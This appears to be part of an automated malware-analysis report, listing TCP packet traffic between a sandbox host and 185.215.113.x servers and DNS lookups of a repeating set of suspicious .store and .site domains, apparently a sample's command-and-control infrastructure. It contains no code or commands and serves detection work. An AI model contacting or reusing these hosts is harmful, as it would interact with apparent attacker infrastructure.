Oct 23, 2024 15:49:28.092981100 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.092991114 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.093624115 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.093672991 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.093676090 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.093684912 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.093710899 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.093719959 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.093821049 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.093832970 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.093861103 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.093878984 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.094750881 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.094762087 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.094772100 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.094801903 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.094808102 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.094815969 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.094830036 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.094857931 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.095635891 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.095693111 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.097687960 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.097774029 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251106977 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251183987 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251211882 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251230955 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251236916 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251274109 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251296043 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251321077 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251360893 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251399040 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251441002 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251445055 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251480103 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251483917 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251516104 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251564026 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251648903 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251683950 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251719952 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251730919 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251754045 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251756907 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251791000 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251802921 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251831055 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.251944065 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.251992941 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252039909 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252074957 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252085924 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252116919 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252129078 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252162933 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252176046 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252199888 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252202988 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252238989 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252244949 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252286911 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252654076 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252686977 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252717018 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252722979 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252724886 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252753019 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252806902 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252877951 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252923965 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252932072 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.252983093 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.252984047 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253020048 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253021002 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253071070 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253073931 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253108978 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253129959 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253143072 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253145933 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253179073 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253217936 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253233910 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253263950 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253838062 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253873110 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253899097 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253909111 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253909111 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.253964901 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.253998041 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.254035950 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.254071951 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.254086018 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.254106998 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.254116058 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.254143000 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.254164934 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.254179001 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.254184008 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.254220009 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.257004976 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.257060051 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.257074118 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.257100105 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.257314920 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.257365942 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.257447004 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.257496119 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.382385969 CEST	49994	80	192.168.2.5	185.215.113.37
Oct 23, 2024 15:49:28.388024092 CEST	80	49994	185.215.113.37	192.168.2.5
Oct 23, 2024 15:49:28.390084982 CEST	49994	80	192.168.2.5	185.215.113.37
Oct 23, 2024 15:49:28.390235901 CEST	49994	80	192.168.2.5	185.215.113.37
Oct 23, 2024 15:49:28.395834923 CEST	80	49994	185.215.113.37	192.168.2.5
Oct 23, 2024 15:49:28.410722971 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410748005 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410765886 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410792112 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.410809994 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.410849094 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410864115 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410888910 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410904884 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410907984 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.410919905 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.410923004 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410948992 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410949945 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.410957098 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.410967112 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.410983086 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411000013 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411005020 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411015987 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411020994 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411031008 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411032915 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411062002 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411088943 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411278963 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411326885 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411328077 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411345005 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411361933 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411375046 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411380053 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411390066 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411403894 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411417007 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411422968 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411439896 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411458015 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411468983 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411472082 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411483049 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411493063 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411516905 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411596060 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411612988 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411629915 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411639929 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411648035 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411652088 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411669016 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411688089 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411703110 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411717892 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411726952 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411735058 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411737919 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411742926 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411847115 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411875963 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411917925 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411921978 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.411935091 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.411978960 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412085056 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412101984 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412117004 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412126064 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412133932 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412141085 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412151098 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412162066 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412177086 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412197113 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412261009 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412276030 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412292957 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412305117 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412308931 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412313938 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412327051 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412329912 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412349939 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412359953 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412727118 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412744045 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412759066 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412776947 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412782907 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412795067 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.412807941 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412914991 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.412981987 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.413017035 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.413031101 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.413055897 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.416754007 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.416810036 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.416863918 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.416886091 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.416899920 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.416910887 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.416951895 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417005062 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417005062 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417038918 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417092085 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417092085 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417125940 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417160034 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417176008 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417195082 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417211056 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417232037 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417239904 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417279005 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417285919 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417321920 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417356968 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417368889 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417402029 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417411089 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417445898 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417459965 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417480946 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417494059 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417516947 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417551041 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417567968 CEST	49992	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:28.417584896 CEST	80	49992	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:28.417597055 CEST	49992	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 23, 2024 15:48:04.516993999 CEST	192.168.2.5	1.1.1.1	0x3ba4	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.531421900 CEST	192.168.2.5	1.1.1.1	0xb90c	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.544709921 CEST	192.168.2.5	1.1.1.1	0xc871	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.556126118 CEST	192.168.2.5	1.1.1.1	0x57e	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.576616049 CEST	192.168.2.5	1.1.1.1	0xc908	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.587109089 CEST	192.168.2.5	1.1.1.1	0xa8d4	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.612075090 CEST	192.168.2.5	1.1.1.1	0xed4c	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.624623060 CEST	192.168.2.5	1.1.1.1	0x5af1	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:04.638268948 CEST	192.168.2.5	1.1.1.1	0x5966	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:48:06.182982922 CEST	192.168.2.5	1.1.1.1	0x7c0e	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.167680025 CEST	192.168.2.5	1.1.1.1	0x2846	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.244205952 CEST	192.168.2.5	1.1.1.1	0x6b68	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.259768009 CEST	192.168.2.5	1.1.1.1	0xb9f6	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.272872925 CEST	192.168.2.5	1.1.1.1	0x12dc	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.284529924 CEST	192.168.2.5	1.1.1.1	0x7174	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.294864893 CEST	192.168.2.5	1.1.1.1	0x898	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.311422110 CEST	192.168.2.5	1.1.1.1	0x5bdd	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.324847937 CEST	192.168.2.5	1.1.1.1	0x78ba	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:16.340207100 CEST	192.168.2.5	1.1.1.1	0xbf7	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.907747030 CEST	192.168.2.5	1.1.1.1	0x6518	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.920922995 CEST	192.168.2.5	1.1.1.1	0x61f7	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.935071945 CEST	192.168.2.5	1.1.1.1	0x1a9f	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.947283983 CEST	192.168.2.5	1.1.1.1	0xdce7	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.961103916 CEST	192.168.2.5	1.1.1.1	0x9378	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:27.984230995 CEST	192.168.2.5	1.1.1.1	0xbb7e	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:28.007040024 CEST	192.168.2.5	1.1.1.1	0x9c45	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:28.017739058 CEST	192.168.2.5	1.1.1.1	0x2350	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:28.048219919 CEST	192.168.2.5	1.1.1.1	0x10ed	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:36.816641092 CEST	192.168.2.5	1.1.1.1	0x3d68	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.815805912 CEST	192.168.2.5	1.1.1.1	0x3d68	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.890923977 CEST	192.168.2.5	1.1.1.1	0xd333	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.900846958 CEST	192.168.2.5	1.1.1.1	0x4f3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:49:37.938520908 CEST	192.168.2.5	1.1.1.1	0x84ff	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.947571993 CEST	192.168.2.5	1.1.1.1	0x66da	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.955610991 CEST	192.168.2.5	1.1.1.1	0x1b8d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:37.975620031 CEST	192.168.2.5	1.1.1.1	0x7d3	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 23, 2024 15:49:37.980463028 CEST	192.168.2.5	1.1.1.1	0x9072	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.008644104 CEST	192.168.2.5	1.1.1.1	0x3207	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 23, 2024 15:49:38.512243986 CEST	192.168.2.5	1.1.1.1	0x4b8c	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.543560028 CEST	192.168.2.5	1.1.1.1	0x9a4c	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.557168961 CEST	192.168.2.5	1.1.1.1	0x832b	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.569971085 CEST	192.168.2.5	1.1.1.1	0x1e76	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.600030899 CEST	192.168.2.5	1.1.1.1	0xe09d	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.622695923 CEST	192.168.2.5	1.1.1.1	0xba17	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:38.665529966 CEST	192.168.2.5	1.1.1.1	0x5b90	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 23, 2024 15:49:40.036528111 CEST	192.168.2.5	1.1.1.1	0x13d5	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
